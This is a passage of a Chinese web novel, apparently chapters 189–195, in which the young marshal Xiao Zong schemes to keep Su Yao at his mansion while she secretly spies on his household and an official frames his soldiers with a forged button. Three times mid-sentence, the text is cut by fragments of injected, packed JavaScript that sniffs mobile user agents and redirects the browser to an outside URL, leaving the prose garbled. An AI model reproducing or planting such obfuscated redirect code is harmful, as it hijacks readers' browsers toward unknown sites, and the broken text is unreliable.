管家正要上前开车门，萧纵先一步走了过去，他一瞧，连忙退了回去。 这种献殷勤的机会，他当然不能和萧纵抢。 只是出乎意料的是，萧纵没有去给苏姚开车门，反而堵在了驾驶位。 沈知聿刚打开车门，他就一把给推了回去，巨大的碰撞声，将所有人的目光都吸引了过去。 沈知聿显然没想到这样的变故，愣了一下才抬头，“什么意思？” 萧纵的手死死摁在车门上，皮笑肉不笑地开口，“苏姚说你忙，所以你就不用进去了，回去忙你的吧。” 沈知聿这才回过味来，眼底闪过几分不敢置信，相交多年，他从来没想过萧纵能不要脸到这个地步，竟然连门都不让他进，“你至于吗？” “我是为你好，毕竟你忙，” 萧纵将他推开的门又一次摁了回去，“你可别想歪了。” 沈知聿被他给气笑了，咬牙切齿地开口，“好歹你也救了苏姚，身为她的未婚夫，再忙我也得登门道谢啊。” 说话间他又将车门推开了一条缝，下一瞬，车门就被重重拍上。 两个大男人对着一扇车门较劲，明明是钢铁打造的东西，却发出了不堪重负的嘎吱声。 “我用得着你道谢啊？” 萧纵龇了龇牙，语气强硬，“赶紧回去！” 沈知聿用力到手掌发麻，却凭着一口气，死活不肯松手。 苏姚忽然轻咳了一声，两人的目光瞬间看了过来，这才发现她正看着他们，或者说，她正看着萧纵。 男人被看得悻悻，犹豫很久，还是不情不愿地松开了手。 沈知聿抓住机会，连忙下了车，萧纵快走几步去给苏姚开了车门。 一下车，她就看见了站在门口的管家。 上次来，她刻意避开了和所有人的碰面，连客厅都没进，这还是回到海城后，她第一次见到管家，只是以两人过去的恶劣关系，她竟不知道该说什么好。 “苏小姐。” 管家竟然主动开了口，语气前所未有的客气，他甚至还弯了下腰，“您请，小姐在里头等您呢。” 苏姚眼神微动，惊讶地看向管家，帅府这是出什么事了？ 管家怎么像是变了个人一样？ 不知道会不会对她要做的事情有影响。 她心里留了个影子，朝管家点了点头，抬脚走了进去。 萧翼连忙跟上，胳膊却被抓住，他扭头一看，才瞧见是萧纵。 “少帅？” 他诧异开口，有些不明所以。 萧纵看了眼紧紧跟在苏姚身边的沈知聿，给了萧翼一个眼神。 萧翼仍旧莫名其妙，他刚才光顾着偷偷看苏姚了，并没有注意到发生了什么。 “你真是……” 萧纵啧了一声，“给他找点事情做，让他赶紧滚，看见他就烦。” 萧翼神情古怪地看着他，“少帅，这么做是不是显得您太小心眼了？有点……” 后面两个字他没说出来，但萧纵听懂了。 他嫌自己丢人。 他抬手在萧翼帽子上狠狠敲了一下，“你说谁丢人？我哪里小心眼了？沈知聿挖我墙角，我没崩了他已经很仁慈了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801709|171294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >萧翼不敢再开口，低下头灰溜溜地走了。 萧纵这才整理好衣裳，大步追了过去，随即一把将沈知聿拉开，自己站到了苏姚身后。 沈知聿咬肌一紧，眼睛都瞪大了，虽然没有开口，但满脸都写着，你有完没完？ 萧纵回了他一个挑衅的眼神。 沈知聿气不打一处来，正要说点什么，走在前面的苏姚忽然停了下来。 他诧异抬头，就看见主楼近在咫尺，萧茵正站在门前，看见苏姚的时候，她眼睛一亮，抬脚就想冲过来。 苏姚却往后退了一步，萧纵察觉到了她的躲闪，心下一黯，上前一步接住了萧茵。 萧茵蔫了一下，期期艾艾地仰起头，“苏姚……” “萧小姐，早啊。” 苏姚开口打招呼，比起对萧纵明显的排斥和冷漠，她对萧茵一直都算得上温和，只是温和里又透着明显的疏离，她很清楚的表明了，自己不想和她亲近的意思。 萧茵感觉到了，眼眶红了一圈，抓着萧纵的手没说话。 “进去吧。” 萧纵开口打圆场，苏姚没有停留，从萧茵身边走了过去。 “大哥……” 萧茵小声开口，“她已经回来了，怎么还在生气？” 她以为苏姚回来了，就是愿意原谅他们了。 “她只是来做客，不是回来了。” 萧纵纠正了她的话，“但我们可以想办法，让她在这里住一段时间。” 说话间，他目光扫过沈知聿，眉梢微微一挑。 虽然只有一眼，沈知聿后心还是一凉，他敏锐地锁定了萧纵，蹙眉看着他，“你又想干什么？” “别往我身上泼脏水，我就在这里，能干什么？” 萧纵啧了一声，抬脚也进了客厅。 沈知聿对他的人品已经产生了深深的怀疑，眉头皱得更紧，像是为了验证他的想法，客厅的电话铃声，急促地响了起来。 第190章 仇人相见 管家连忙接起，不多时目光就落在了沈知聿身上，“沈爷，是您的电话。” 沈知聿眉心重重一跳，连忙接了过来，下一瞬，他的脸黑了。 “怎么了？” 似是察觉到出事了，苏姚连忙开口询问，萧纵把玩着打火机，也抬眸看了过来，“是啊，怎么了？一进帅府的门，就黑着个脸，不喜欢你可以不来啊。” 沈知聿没理会他的阴阳怪气，目光看向苏姚，“家里着火了，我得回去一趟。” 话音落下，所有人的目光都齐刷刷地看向了萧纵。 “……你们看**什么？” 萧纵咬牙切齿，“沈公馆失火关我什么事儿？尤其是你。” 他瞪了管家一眼，“你也怀疑我？” 管家讪笑，抬手擦了擦额头的汗，身为萧家的老人，他是不该对少爷这么不恭敬的，可也不知道为什么，刚才有股莫名的直觉告诉他，就是萧纵干的。 而且，他家少爷也真的干得出这么缺德的事来。 “抱歉，家中有急事，我们就先回去了。” 苏姚开口告辞，萧纵脸色一变，连忙拦住了她的去路，“你回去也没用，万一烧伤了怎么办？他自己回去就行了。” 苏姚看向沈知聿，对方朝她点了点头，“那你在这里等我，等处理完了，我再来接你。” “可是……” “苏姚，” 萧纵打断了她的话，“沈公馆不太平，你之前也经历过的，回去说不定还会添乱，就在这里等等吧。” 苏姚抿了下嘴唇，眸底神情意味不明，萧纵还是这样，觉得她只会添乱，打从心里瞧不起她。 可她还是摆出被说动了的模样来，迟疑着对沈知聿开口，“那，我留在这里等你？” 沈知聿应了一声，上前一步，在她额角亲了亲。 萧纵瞳孔一缩，控制不住地往前一步，可不知道是想到了什么，他又生生止住了脚步，只扭开了头，假装没看见。 好在沈知聿赶时间，那亲吻一触即分，他很快就出了门。 萧纵深深吸了两口气，没在面上露出异样来。 “我有样东西给你，你等我一下。” 他开口，说话间匆匆上了楼。 苏姚的目光一直追着他，见他去了三楼的书房，目光微微一闪。 能放进书房里的东西，都很机密紧要，怎么要拿给她？ 她心里有些不安，只是这一年来数不清多少次历经生死，不管面对多大的危机，她都已经能坦然应对。 “苏小姐，用茶。” 管家端了茶过来，满是褶子的老脸上，还带着温和的笑。 苏姚沉默了几秒才开口，“您老人家忙自己得去吧，不用在这里为难自己。” 她都不敢想管家在自己面前摆出这幅样子来，心里会有多憋屈。 两人过往的确有恩怨，但她现在没有心思理会。 管家的脸色却僵住了，片刻后他才叹了口气，“我糊涂了，总觉得自己活到这个岁数，什么都懂了，却连人心都看不透，以往是我以下犯上，对不住苏小姐，还请您原谅。” 苏姚诧异地看着他，又扭头去看外头的天。 还是阴沉的天，雨也在淅淅沥沥地下，没有任何异常。 可管家这怎么跟中了邪一样？ 他竟然和自己道歉？ 许是苏姚的神情太惊讶，管家竟然老脸一红，支支吾吾地没能再说出话来。 “苏姚。” 萧茵期期艾艾的声音传过来，她手里捧着一份点心，“我，我做的点心，你尝尝。” “有劳了。” 苏姚轻声道谢，却并没有半分要动的意思。 萧茵有些着急，“很好吃的，你尝尝吧。” 苏姚沉默了很久才开口，“里面，有芒果吗？” 萧茵一愣，陡然想起来什么，小脸一白，垂下头没再开口。 苏姚并没有想翻旧账，她只是不想自己再遭罪，毕竟曾经对她而言，弥足珍贵的那一点温暖，早就被消磨干净了，她也不需要了。 “对不起。” 不知道过了多久，萧茵再次开口，话里带了哭腔。 苏姚笑笑，“不知者不怪，萧小姐不用道歉。” 她的安抚没有任何用处，萧茵的脸色更白了，眼眶也再次红了起来。 苏姚叹了口气，起身打算去凉亭里，她就知道，帅府这地方和她犯冲。 “苏姚。” 萧茵忽然跑过来抱住了她的胳膊，“你别走，对不起，我不是不记得，我当时就是为了气你才故意放的，我以为你会哄我的，你别生我气了好不好？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807655|171294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我真的知道错了，我以后不会这么任性了，你就是我最重要的人，我再也不会为了别人对你说那种话……” 她说着逐渐泣不成声。 苏姚无奈地叹了口气，她弯腰擦去萧茵的眼泪，“别哭了。” 萧茵眼睛一亮，但下一瞬苏姚就收回了手，“我当时已经说得很清楚了，你只是有了自己的想法而已，不用和我道歉；而我现在，也有了自己的想法，不再需要你的道歉。” 萧茵的脸色变得更加苍白，她虽然才十岁，但听得懂人话，苏姚不需要她的道歉，也意味着她丝毫不想挽回这段亲情，她不再想要她了。 肩膀抖得更厉害，可她却连哭泣都没了声音。 管家叹了口气，心疼地摸了摸萧茵的发顶，却什么都没为她说。 苏姚不想看萧茵哭得这么惨，索性抬脚往门外去，迎面却走进来一个人，对方走得很急，险些撞在苏姚身上。 好在她反应灵敏，侧身避开了。 对方径直冲进了客厅，可在进去之后却又猛地顿住脚，转身朝她看了过来。 “苏姚？” 对方开口，话里满是惊疑不定。 苏姚坦然转身，回视过去，“褚公子，好久不见啊。” 褚英脸色黑沉如墨，他看了一眼客厅，发现萧纵不在，又折返了回来，“你还真是水性杨花，和姓沈的勾搭上了，还敢来帅府？你就不怕萧纵要了你的命？” “我的命，你紧张什么？” 苏姚嘴角仍旧含笑，眼神却一片锋利。 褚英嗤笑出声，“你这是什么眼神？怎么？你以为傍上了沈知聿，就能报那颗**的仇了？老子随时能让沈家褪层皮。” 苏姚只觉无聊至极，萧纵和他的这些朋友都是一个德行，都觉得她只能依靠旁人。 但她没有开口反驳，现在还不是时候，等一切尘埃落定，她会亲自告诉褚英，她能不能报那颗**的仇。 “你怎么来了？” 萧纵的声音忽然传出来，大约是察觉到了两人的气氛不对，他眉头皱得很紧。 褚英凉凉地看了苏姚一眼，转身朝萧纵走了过去，“我也不想来，可是没办法，你的人怎么和教授们的**案扯上关系了？” 苏姚脚步猛地顿住，金锦被发现了？ 第191章 祸水东引 萧纵蹙眉看过来，“胡说八道什么？我的人怎么可能做这种事？” 苏姚看过来，若不是那天晚上遇见了金锦，看见萧纵这幅样子，她恐怕都要以为这件事真的和帅府无关。 “要是没有证据，我能平白无故地来找你吗？” 褚英叹着气开口，他抬手从怀里拿了什么东西出来，正要放下，却想到了苏姚，扭头朝她看过去，见她还在门口，脸一沉，“她还是这么没规矩。” 苏姚还没开口，萧纵的脸先沉了下去，“闭嘴，不想说就走，轮不到你来指责她。” 他丢下褚英走了过来，话里带着紧张，“这是要去哪？” 苏姚决口不提自己要去凉亭的事，她直觉褚英这次来会带来大问题，她必须找机会留下听一听。 “就是想来吹吹风，没打算去哪。” 她这般和颜悦色，萧纵竟然听得有些感动，她终于肯用这么温柔的语气和自己说话了。 他吐了口气，试探着抓住了她的手腕，“外头热，别出去了，我给你打扇。” 苏姚没拒绝，顺着他的力道重新回了客厅。 褚英还从刚才萧纵那忽如其来的呵斥里回不过神来，直到两人从他身边走过，他才不敢置信地睁大了眼睛，“少帅，你怎么了？她都和沈知聿订婚了……” “订婚”俩字精准地踩中了萧纵的痛点，他气急败坏地看过来，“仪式没成，他们根本没订成婚，你别胡说八道！” 褚英被噎住，这话的重点，是这个吗？ “你，你……” 他急得结巴，脑子一团浆糊，根本不知道说什么好。 好半晌他才将那些莫名的情绪压下去，现在不是说这个的时候。 他深吸一口气，“我们要说的是正事，她在不方便。” “你们办事处，除了算计人，能有什么正事？” 萧纵毫不客气地开口，苏姚忍不住看他，虽然萧纵这个人的轻狂很招人嫌，但不得不说，用在仇人身上，还是有点痛快的。 褚英被噎得半天没说出话来，片刻后，将什么东西重重砸在了茶几上，“朋友一场，别说我没想着你，这是办事处的人在火场找到的，被我扣下了，别说你不认识。” 萧纵将纸袋子打开，有东西咕噜噜滚了出来，是一枚扣子。 苏姚一愣，扣子是她放的，她当然做好了被找到的准备，可为什么褚英要拿着这扣子来找萧纵？ 她蹙眉盯着那扣子看，等看清楚时，瞳孔控制不止的一缩，这是萧家军的军装扣子。 可她留在火场的，分明是办事处制服的扣子。 难道是金锦不小心留下的？ 不，不对，那天金锦根本没穿军装，不可能留下这东西。 那这是怎么…… 她眼神霍得凌厉起来，这证据，是褚英伪造的，他打算把脏水泼到萧纵身上。 她迅速想明白了内情，可想得再清楚也不能说，只能看向萧纵。 他会不会因此去查金锦？若是查到了，会不会把她推出去顶罪？ 她心头乱跳，却强行镇定，“什么东西，乌漆嘛黑的。” 褚英不屑地笑了一声，萧纵侧头看过来，眼底都是警告，随后他才将扣子捡起来，递给苏姚看，“这上面的标志，看着眼熟吗？我军装上也有这种扣子。” “你去火场了？” 苏姚装傻充愣，褚英按捺不住开口，“猪脑子。” 萧纵凌厉的目光又看了过来，褚英被迫岔开了话题，“少帅，火场里的那个人，身份已经清楚了，叫田中一郎，现在双方和谈期间，他无缘无故被烧**，必须要给出交代。” 这话就差摆明了说，让萧纵推个替罪羊出来顶了这个罪。 “褚公子，你们办事处可真有意思。” 金锦大步走了进来，“放着教授**的事不管，失踪的教授家人不找，却为了一个倭国人的死来找少帅要交代，你们办事处，到底是在为谁办事？” 褚英被她挤兑的脸色一阵青一阵白，抬手揉了下额角，“你以为我想来？证据确凿，这扣子……” “谁知道扣子是怎么来的？” 金锦毫不相让，“你去大街上找一找，指不定就能找到十个八个的扣子，将士们每天巡逻，总有几个掉的吧？这也能拿来当证据？褚公子，你安得什么心呐？” 褚英的脸色变得十分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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各怀心思 褚英心头重重一跳，猝然抬头，就对上了萧纵那双凌厉的眼睛。 他这么看过来的时候，有种能把人心剖开的犀利透彻。 褚英的脸色控制不住地白了一瞬，他想干什么？ 他当然是把自己一手创办的海城办事处，从这件事里摘出来。 谁都不知道为什么火场里，会出现办事处制服的扣子，更不知道那个倭国人，是不是死在办事处人的手里，他胆战心惊，根本不敢深查，就怕真查出了问题。 办事处本就是萧纵的眼中钉，一旦出了岔子，他可以肯定，萧纵一定会落井下石，趁机拔除。 他没有办法，只能先下手为强，拉萧纵的人顶罪。 只是萧纵连一个小兵都要护着，态度这般强硬，他竟毫无办法。 “少帅，你又开玩笑了，” 他敛下复杂的心情，故作无奈地叹了口气，“我想干的能是什么？不过就是怕你护短心切，不留神成了千古罪人。” “哦，是吗？” 萧纵收回目光，抬手拍拍他的肩膀，“你有心了，但你想多了，这件事和我的人毫无关系。” 褚英脸色更僵，却不敢再说什么，反而装模作样地松了口气，“既然你如此笃定，那我就彻底放心了，我原本也只是想尽快了解了事情，不给你添麻烦的。” 他笑了一声，“没想到，是我杞人忧天了。” 萧纵也笑了，“解释清楚了就好，这么闷热的天，还跑一趟，管家，送点绿豆沙过来。” 管家连忙应了一声，亲自去了厨房。 褚英摆摆手，“不用了，我还有公务。” 他本该走的，可看了眼苏姚，拳头控制不住地攥了起来，要不是她，今天自己和萧纵也未必会谈话谈到剑拔弩张的程度。 他犹豫再三，还是看向萧纵，“你到底怎么想的？沈知聿当初的订婚宴，你也去了，你是亲眼看见她和沈知聿有关系的，女人那么多，你怎么……” “她是我的人，” 萧纵打断了他，目光冷漠至极，“永远都是，我希望你能记住这一点。” 褚英没开口，心下却嗤笑了一声，他就说萧纵为什么非要捡个破鞋，合着是好胜心作祟。 “行了，我知道了。” 他摇头叹了口气，“我还有得忙，告辞了。” 他转身大步出了门，管家这才从厨房出来，手里的托盘上放着好几碗绿豆沙。 “褚公子怎么走了？” 他纳闷开口，萧纵的目光幽深，但很快就收了回来，他看向苏姚，嘴角含笑，“这小子自从去了办事处，脑子就不大好，刚才的那些话，你别放在心上。” 苏姚嗤了一声，“他很早之前就瞧不上我，都习惯了。” 萧纵默了一瞬，忽然开口道歉，“都是因为我。” “如果不是我之前……他们也不会跟着轻视你。” 苏姚瞥他一眼，萧纵变化还真大，以前这些话怕是打死他，他都不会说，今天竟然毫不顾忌。 只是几句真，几句假，就不好说了。 但有件事她不得不承认，那就是褚英对她的态度和萧纵的关系好像不大，他从见到自己开始，就对自己充满了恶意，甚至不惜闯进帅府给她一枪。 为什么呢？ 总觉得他当初给的理由很奇怪。 她一时半会想不明白，索性将这件事压了下去，当务之急，还是继续挑唆这两人，如果萧纵和办事处斗起来，会让他们的处境好很多。 “算了，我和他反正本来也没什么交集，” 她无奈开口，“他以前也这样吗？说话声音那么大，吓我一跳，我说错了什么了吗？” 萧纵满眼的若有所思，“只怕不是你说错了，而是说对了。” 他特意提醒了金锦，对方又素来仔细，不可能愚蠢到穿着军装去插手这件事。 办事处的那枚扣子，太可疑了。 苏姚看了眼他的神色，知道他肯定生了疑，嘴角微微一翘。 生性多疑的人，就是好挑唆。 她没再说别的，眼看着时间差不多了，她站了起来，“我也该回去了。” 萧纵满眼的睿智冷凝瞬间散了个干净，他连忙拦了拦苏姚的路，“正是热的时候，出去要中暑的，再说沈家没来电话，说不定是火还没扑灭，在这里多等一会儿吧。” “那我更得回去看看，等着心里也不安生。” 她还是抬脚要走，萧纵左摇右晃，堵着门不肯让开，苏姚停下来，静静看着他，“你是想，再把我关起来吗？” 萧纵一僵，站在原地没再动弹。 苏姚绕过他就走。 “我送你。” 萧纵叹了口气，又追了上来。 苏姚有些惊讶，忍不住回头看他，这可不像是他会干的事情。 按照她的了解，他这种时候，应该会说，你以为我想让你来啊。 心情有些古怪，但她还是摇了摇头，“不用了，请金副官送我吧。” 她目光落在金锦身上，她很想和对方多接触，说不定能争取一下。 整个帅府，唯一不一样的，应该就是金锦了。 “好，我送。” 金锦下意识答应下来，话音刚落，身上就是一冷，她抬起头，就对上了萧纵杀人似的目光，他没开口，但心里想什么都写在了脸上。 你要死啊，我的差事你都敢抢？！ “……” 金锦心里骂了一句，捂着肚子弯下了腰，“哎呦，苏小姐，对不住了，我好像吃坏东西了，不能送你了，真是对不住……” 她捂着肚子跑了，萧纵满意地收回目光，重新看向苏姚，“她就是这么不靠谱，还是我送你吧。” 苏姚叹了口气，没再说什么，转身就走，电话铃声却在这时候响了起来。 萧纵似有所料，朝管家摆了摆手，亲自接了起来，随即他的牙肉眼可见地龇了起来，“苏姚，沈知聿临时要出趟远门，托我照顾你几天。” 第193章 溢于言表的嫌弃 苏姚沉默了，她拿不准这是沈知聿想让她留在帅府而做出的决定，还是真的出了什么事，逼得他不得不做出这种决定。 但看着萧纵那副样子，她不得不怀疑是第二种情况。 她将电话从男人手里拿过来，“知聿，你要去干什么？” 电话那端的沈知聿喘着粗气，也不知道是忙的还是气的，“有批货被山贼截了，我得去走一趟。” 他喘了口气，又补充道，“家里还在失火，你暂时别回来了。” 苏姚一顿，沈知聿这话说得很有意思，还在失火。 她忍不住朝男人看了一眼，萧纵侧开头，没敢和她对视。 苏姚抿了下嘴唇，萧纵就会用这些下三烂的手段。 “那你小心。” 两人又说了几句，这才挂断了电话。 萧纵掩饰性的咳了一声，“你还住你原来的房间吧，上去看看，哪里不满意就让人收拾。” 苏姚没动，只仰起头看他，“你知道，失火会烧死人吗？” 萧纵一怔，脸上的神情僵住，他虽然之前嘴硬，但也不会真的否认自己做了什么，只是看着苏姚的样子，他也不太敢承认，所以只好沉默。 苏姚没有和他纠缠，只叹了口气，“佣人的命也是命，少帅，请你不要再胡来。” 她抬脚上了二楼，萧纵站在原地没动，好一会儿才有叹气声传过来。 苏姚没有理会，推开了二楼的房门，她住了六年的地方，即便很久很久都没回来，仍旧觉得十分熟悉，熟悉到她闭上眼睛都能知道什么东西放在什么位置。 她往前迈了一步，以为自己会闻到那股种久无人居住的腐朽，阴冷的味道，可并没有，取而代之的是一股混杂着药膏和香水味道的奇怪气息。 目光一转，她在门口的柜子底下，看见了男人的鞋子。 她又慢慢退了回来，后背却撞上了一堵肉墙。 “怎么不进去？” 萧纵开口，他不知道什么时候追了上来，就站在门口。 苏姚侧开一步，避开了和他的接触，“这里好像有人在住，我还是住客房吧。” 她转身要走，萧纵抓住她的手腕，“是我在住，我今天早上已经搬出去了，里面的东西都是新的。” 苏姚这才抬头看他，有些莫名其妙。 萧纵的房间在三楼，不管是面积还是陈设，都比她这客房要好得多，连玻璃都要厚实许多，他为什么要住到这里来？ 似是看出了她心里的疑惑，萧纵开口解释，“如果我说，我在这里才睡得着，你信吗？” 苏姚客气的笑笑，萧纵叹了口气，没再继续这个话题，拉着她进了房间，“东西都在原来的位置，你看看缺什么让他们再送上来，还有这个……” 他打开抽屉，露出里面的止疼药，“你还需要这个吗？” 苏姚的眼神控制不住的冷了下去，腿疾发作时那让人绝望的痛苦仿佛又涌了上来，但很快就被她压了下去，人不能一直沉浸在过去，她要往前走，她要过不一样的生活。 “不需要了。” 她冷冷开口，两人之间好不容易才缓和下来的关系一瞬间又降至冰点，萧纵心里一突，他其实知道提起这个，苏姚就会翻脸，可他不得不问，他也怕苏姚再陷入没有药的绝望里。 眼见对方转身要走，他几乎是本能地将人拉了回来，“苏姚，我会治好你的，我保证，我犯下的错我来弥补，就当是为了你自己，给我这个机会。” 他语气急切，身体控制不住地战栗起来，恍惚间，自己像是又置身在了下百盛那幽深逼仄的巷子里，他抬手就想把苏姚抱进怀里，他想感受一下她的存在，想体会一下她的体温，哪怕只有一秒也好。 然而就是这一秒，苏姚都不肯，她反手挣脱开萧纵的手，一掌拍在他胸口上。 她这一下带着恨意，萧纵又没有防备，竟被她拍得一路后退，踉跄着撞在了柜子上。 尖锐的柜角戳进了伤口里，萧纵闷哼一声，脸色罕见地白了下去。 他靠着柜子坐在了地上，露出染了血的白色柜子。 苏姚一怔，看了看自己的手，又去看萧纵，轻颤一下回神，“你没事吧？” 听见动静，管家和萧茵也连忙跑了上来，见萧纵坐在地上，都有些意外。 “怎么了？” 管家小心翼翼开口，萧纵摆摆手，“没事，都下去。” 管家显然很担心，在两人之间来回看了几眼，最后却什么都没说，带着萧茵又下去了。 等门口没了人，他才朝苏姚伸出手，“拉我一把，站不起来了。” 苏姚抿了下嘴唇，“不是说没事吗？” 萧纵苦笑一声，其实也的确没什么事，他就是想趁机占苏姚的便宜。 但对方不给他占。 算了。 他收回手，打算撑着地面自己站起来。 可那只手却又被人握住了，他猝然抬头，就看见了苏姚皱着眉的脸。 虽然她不太高兴，但也还是拉了他一把。 心跳陡然剧烈了起来，一下一下，跳得他喉间都有些发胀。 借着那股力道，他站了起来，哪怕刚才被撞到的地方还在疼，他也已经无心理会，苏姚还是会对他心软，只要一想到这点，他连呼吸都要激动了。 “苏姚……” 他忍不住朝对方迈进了一步，却再次被一只手抵住了胸膛，苏姚睁圆了眼睛瞪着他，“你能不能老实点？既然受伤了就该老老实实养伤。” “我也想啊。” 萧纵苦笑，可之前看不见苏姚也就算了，现在人就在自己眼皮子底下，他怎么坐得住？ 要不是知道苏姚不会答应，他都恨不得在她的房间打地铺。 他叹了口气，“你等我一下，我这就回去处理伤口。” “我去医务室给你拿药。” 苏姚松开手，转身就走，萧纵似是想追上来，被她瞪了一眼，才停在了门口。 她大步出了主楼，等四下无人，她从手包里掏出帕子，用力擦了擦手。 等将十根手指都擦了个干净，她才扔了帕子朝副楼走去。 第194章 你也给他上过药吗 虽然过去那六年，苏姚并没有资格过问萧纵的正事，但毕竟同在一个屋檐下，她多少还是了解一些的。 副楼藏着很多秘密，尤其是深处的那间牢房。 但青天白日的显然不适合来探查，所以她现在过来也只是来做个铺垫，以后再来也好继续用给萧纵拿药当借口。 等她带着药回来的时候，萧纵正坐在她的床上低头看什么东西，听见脚步声，立刻将那东西收了起来，苏姚也不在意，她从来没指望萧纵信任她。 “我给你换药。” 她熟练地用镊子夹起了酒精棉球，萧纵却没动。 “我自己来吧。” 他笑了一声，抬手解开了身上的扣子，要把衣服脱下来的时候，又忽然顿住了，“算了，我还是上去换吧。” 他拿过药，抬脚往楼上走。 苏姚有些莫名，不知道萧纵这是在抽什么风，下意识开口，“换个药，为什么要上去？” 萧纵转身看过来，眼底有什么复杂的情绪一闪而过，很快就消失不见，他叹了口气，垂眸看着苏姚，“如果我的血滴在了你床上，你还会住这个房间吗？” 苏姚被问得一愣，这是什么莫名其妙的问题？ “这是你家。” 她开口强调，客随主便的道理她还是明白的。 但这显然不是萧纵想要的答案，但他没再说什么，只是转身往楼上去，苏姚很摸不着头脑，可看着他背上的血迹，还是再次开口，“你的伤在背上，自己怎么上药？” 萧纵再次顿住，“那你愿意给我帮忙吗？” 苏姚叹气，他这种人只有有利可图的时候，才知道客气。 “当然，” 她还是开口答应下来，“毕竟你这伤是因为我。” 更重要的原因是，她想去三楼看看，之前唐黎就被囚禁在三楼，只是她并不知道具体位置，万一之前所谓的搬出去只是个障眼法呢？ 萧纵啧了一声，“那辛苦你。” 他快走两步开了门，一股冷清的气息扑面而来。 房内很干净，但没有人住的屋子，感觉是不一样的，收拾得再干净也一样。 萧纵果然有些日子没在这里住过了。 她跟着男人进了房门，这次对方没再出幺蛾子，很顺从地脱了衬衫，可苏姚拿着棉球的手还是顿了一下。 那次爆炸袭击，她有所耳闻，只是第三天就见到了萧纵，她就以为伤得不厉害，可此时一眼看去，他后背上，密密麻麻全是伤口。 事情过去还不到一个月，那些伤口还带着厚厚的痂，宛如一条条爬虫附在人身上，简直触目惊心。 就算是她照顾过不少同志，也算见惯了这些东西，这一刻手还是控制不住地抖了一下，棉球瞬间落了地。 萧纵似是察觉到了，迟疑地扭过头来，“我自己来吧。” 苏姚摇摇头，换了个棉球给他清理伤口，察觉到身后的动静，萧纵倒是不觉得疼了，还有心思和她说话，“你也给沈知聿处理过伤口吗？” “当然。” 苏姚知道自己刚才过于熟练的动作瞒不过萧纵，索性也不遮掩，“他走南闯北，经常受伤，我就跟着医生学了一点急救的东西，我也盼着能帮上他，一点也好。” 萧纵抿紧了唇，不开口了。 但他只忍了几秒，“他走南闯北也带着你吗？那么危险，他就不考虑你的安危吗？这个自私的混账。” 苏姚正在打量萧纵的房间，之前虽然在这里住过，可她当时怎么都没想到自己会站在萧纵的对立面，根本没有仔细侦查过，以至于根本不知道哪里有暗室。 听见萧纵的话时，她顿了顿才回神，却没开口，只加重了手上的力道。 男人身上的肌肉瞬间都绷紧了，但他愣是忍住了没吭声，仿佛被摁了伤口的人根本不是他。 “你操心这么多干什么？我就喜欢跟着他到处走。” 苏姚这才凉凉开口，将四处侦查的目光收了回来，她得找个机会，单独进来一趟。 “处理好了，你歇着吧，晚上我再过来。” 她给萧纵重新包扎好伤口，起身往外走。 “苏姚。” 萧纵忽然又开口喊住了她。 “还有事吗？” 她以为萧纵又要继续刚才那个无聊的话题，话里多少带了点不耐烦。 “如果你不想上来，不用勉强，我没打算拿这么件小事胁迫你。” 苏姚默了一下，她刚才表现得很明显吗？ 这可不行。 “我没有不想。” 她缓和了语气，“只是不太习惯而已，知恩图报的道理，我明白的。” 萧纵神情很复杂，苏姚看不太懂，但也实在是没心思理会，转身就下了楼。 再回到自己的房间，她还是有些恍惚，目光不自觉落在了墙上的日历上，过去一年，日历已然发黄陈旧，上面钢笔画出来的日子，还停留在她离开的那天。 她恍然想起自己当初巴巴地盼着这一天的日子，忍不住笑了起来。 那时候是有些蠢的，连别人的玩笑都看不准。 她随手将日历摘下来，正要扔进垃圾桶，就瞧见门口站着道小小的身影。 “萧小姐有事吗？” 她抬眸看过去，萧茵似乎有些紧张，抬手抓着门框，“我，我能进去吗？” “当然，” 苏姚答应得很痛快，“这是你家。” 萧茵脸上刚露出了一点欢喜，听见后面这句话那欢喜瞬间就散了。 “这也是你家。” 她小声开口，苏姚听见了，但没打算理会，只将日历丢进了篓子里。 萧茵看见了，也跟着看了一眼，“为什么要扔掉。” 苏姚一顿，“抱歉，这是帅府的东西，我唐突了。” 她弯腰要将东西捡起来，萧茵连忙跑过来阻止，“我不是这个意思，你不喜欢就扔掉，我就是想找机会和你说说话，你都不理我……” 她把日历抓在自己手里，恍然有种自己就是这日历的错觉。 只是看着看着，她就发现了日历上最后一个被圈起来的日期。 那是苏姚的生日，是萧纵娶她做姨太的日子，也是她离开的日子。 萧茵忍不住摸了一下，一道闪电忽地划过脑海，她陡然想起来一件早就被自己遗忘的事情。 第195章 狗皮膏药 “苏姚，我给你弹琴听吧？” 她激动地抓住了苏姚的手，眼底都是期待，“我学会了很多曲子，我给你弹完曲子，你就不生气了，好不好？” 苏姚有些惊讶，过去那么久，萧茵竟然忽然想起来了两人的约定。 但她好像不感兴趣了。 “钢琴曲哪里都能听，就不劳烦小姐了。” 萧茵眼底的亮光瞬间暗了下去，她小声为自己辩解，“我不是故意忘记的，就是当时事情太多，我不小心就……” 